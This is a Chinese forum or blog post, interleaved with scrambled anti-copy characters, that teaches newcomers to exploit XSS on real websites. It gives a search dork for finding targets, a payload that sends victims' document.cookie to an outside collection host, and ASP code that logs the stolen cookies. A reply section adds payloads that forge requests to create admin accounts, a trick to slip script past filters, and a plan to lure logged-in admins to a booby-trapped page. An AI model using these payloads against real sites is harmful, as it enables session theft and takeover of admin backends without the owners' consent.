前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
. s! {# Y3 y0 n5 ^
, \1 R, x- Z$ p. U$ C4 Phttp://tieba.baidu.com/f?kz=1069007239: L, \) r' G6 b& F& n# [) q& `
, T/ @4 T& e! | M+ l
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
) |& f' _8 M S6 O0 R
7 B) K y4 n4 k0 ]$ v# K但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
& o7 v& T9 ` A- k) f: {) L: G7 Y6 f; O
我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。6 v: R3 z" B/ u4 w& T6 O: P5 a0 r: u
0 J9 X5 z2 Y' @/ M1 ]
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。4 z; Z: W! |' D
/ M/ O9 V+ h% H0 z好了,废话不多说了,一起来看文章吧。
5 q6 r4 v4 E( F# d4 H3 O0 G! Y& ]5 `- b
-------------------------------------------------------------------
! z! \8 E% e0 R
7 c, l% y/ i$ W& N* g+ @ F首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。* ]1 ?% u5 K- c; u
9 ?* Y8 s/ Z% I6 j
" C' t3 \3 B, {$ S9 W
/ f. x6 P" m5 m/ z7 I% t再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:5 m. I# Y: m! n. x8 k2 s
2 P9 I& Z3 N5 u8 B8 n: F
- |4 p) R1 Z+ q, h* q- ~ s/ G+ X. g8 X8 y2 g/ @0 i: T1 h
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是" J5 o; ?6 t) L' v8 U$ s
1:让目标访问已跨站的网址,然后这个网址执行脚本
6 V& J4 V/ \, N& w2:然后跳转到你已经写好专门用来收集Cookie的网址
( Q- E! l5 a8 y s9 D+ F6 K) }" C4 }% m2 [
具体实现方法:/ v; |5 x( L4 u# }0 M7 H- r+ R
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>* J0 w* n3 b: z0 T3 z8 ~' |0 M6 J
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。
0 g3 ]' H9 b+ a, b1 P% Y$ Z% p
, ~" S' c8 K2 J! G$ W这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:" N9 J$ E* i2 ?% @% j; c$ v
" C9 F# \( f0 x2 e; Q<html>) k% g& k, ]4 T- q) G( d5 y
<title>xx</title> w! `: Q0 m6 H- E7 \1 R: J8 J& z
<body>- E* }4 O" d. t
<%
% H" A) g4 E/ Rtestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
' e* I; K7 v( J0 dmsg = Request("msg") //获取提交过来的msg变量,也就是cookie值+ b+ B3 Y; o7 x6 h4 \
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
" B* n# h/ r6 Y0 h$ xset thisfile = fs.OpenTextFile(testfile,8,True,0)- n; N' t5 A3 s
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
+ }5 o( N* }, t% h X; p* h* b* Y( m d" athisfile.close //关闭5 h* Z5 a0 H4 |* z$ W
set fs = nothing; k" L! m1 B# F) t8 b3 [
%>
2 \" P0 a9 l/ X: M( f( P& g0 j' r</body>
* q$ m- v ]! Y1 N</html>
0 r0 G- O4 W7 W8 x O6 W+ k( m3 _* P3 M
然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
( F! {% ]" F0 j* w1 `6 e- o# m V" x5 I
6 x- ]2 j, d( y3 K' X- {
2 }# ? |- \4 L8 l9 S
* @# u" v7 q) d/ |/ z& M( b
拿出来看看,呵呵,Cookie到手:- s# t, J7 e: L+ K L$ b- h
' a7 O1 z6 E* C( S; w+ @
/ d; O! @' ^0 q6 ^1 }
6 K4 O* H* A- l# M/ X本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
! e$ t. G* F1 G$ Y0 ~* ^5 M) V7 @1 F j; \1 S6 c h2 y
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。' G3 J( r4 P+ G# `
: K7 N+ f8 [ b- H/ K$ t-------------------------------------------------------------------& H/ j7 n8 r3 \" ?) F+ z" u4 I* M9 f
# L" s, N/ D4 a9 p z j a! T
下面是我对这个帖子的回复,也一起贴过来吧:5 K, G' V# H8 t/ W" N5 Q
; |; T" B* k7 i, p2 i' f说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。0 [/ R1 X9 K! r! W2 i n
+ r1 f$ g7 |! y. Q! W( [
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
# w1 D7 m5 F( M- x" L4 f' H0 C. I再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
* f- ^3 N+ H3 {, X: H# m/ z! r9 m; I0 j+ ]* B* l/ h
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
" J$ J1 e0 |% \5 ^
+ a: p$ _- {2 d4 u$ q" h. ]' @2 I0 Fhttp://user.qzone.qq.com/673116767/blog/1252452536, `" V7 L8 r0 v1 y
- s e+ ?1 l5 `( `一般发现一个xss漏洞后要做的基本上就是这些:
( u: t* \9 m% K' B2 O4 f$ o- `+ J' F$ M& C2 m4 ?
1. 伪造请求 使用$_REQUEST或$_GET) n) C! T( \, I5 l; r$ ?! T. ?
M" S" W3 s( [" w, b9 W
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
) T% `5 I: M _, _' Y<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />: P& x9 u7 H9 B; P; x' i
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。- H' k! l% ]3 f
; F; G7 o8 D9 u- L; n如果是可视文本编辑器,可以尝试使用输入:
/ I+ e3 v: c& X5 Q6 T7 khttp://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')& D8 @1 c; ~9 a1 A* N! l5 E7 e+ J
这样最终会构造出:* p8 q3 E6 a* ^* j- f: b
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />1 n8 R9 B: o( k% ?4 s
总之要举一反三。" _# c* v6 `* w7 r& ^9 w
3 `) _: k$ K5 H
2. 伪造请求 使用$_POST
7 l' A5 h8 U$ Q t6 l" }9 A
4 M5 E( u8 }; f4 M9 I. |& ]! T当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
0 Y l6 Z9 K4 C2 i- }. s. F4 j T<sc/*xss*/ript type="text/javascript">* ?& L) a: M; s1 M1 n6 ~- O' O
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");% k- `9 v9 L, {3 G, a
aj.open("POST", "/admin/admin_add.asp", false);
+ c7 ]9 |( G, \( rvar postdata = 'name=xxx&psd=yyy';$ O: I: C/ P0 g0 b
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); : l R3 w5 q/ ]- K9 z7 l7 m# C7 L
aj.send(postdata);
: i3 _# v3 t( [3 ]9 }& u</scr/*xss*/ipt>! F/ i% F% @& q* Z/ r
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
; R* C. V% a5 ?) p o" t! S: I; q
$ y( U( p5 E: S3 h3. 跨站伪造请求 使用$_GET 或 $_REQUEST" x# l$ l, U6 o. ?7 P
1 {/ P6 U& \: _4 Y; ~- ~ v0 y与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
" z9 I8 E2 z! C<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>5 t/ l; f0 H2 O0 a* D
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
1 P% j& o( W" Q6 L: g! @* X1 q# j) G+ G7 ~
4.跨站伪造请求 使用$_POST(0day) t8 Y( x- i P+ k
3 G. O. e7 j4 I g: m9 ]5 A! V如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。7 c1 f" C0 m; t4 i8 ?' e
' b9 w8 W" S, @3 g6 {; W: r/ K
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
8 ], g: N$ S$ Y) r
5 Q/ S; {9 Q. s( i" n9 L+ y总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
, I5 p) ~" z5 y6 f) M* ?3 T6 H5 m
OK,该说的都说完了,Over。
( s* k6 W& s7 d! x7 L. T |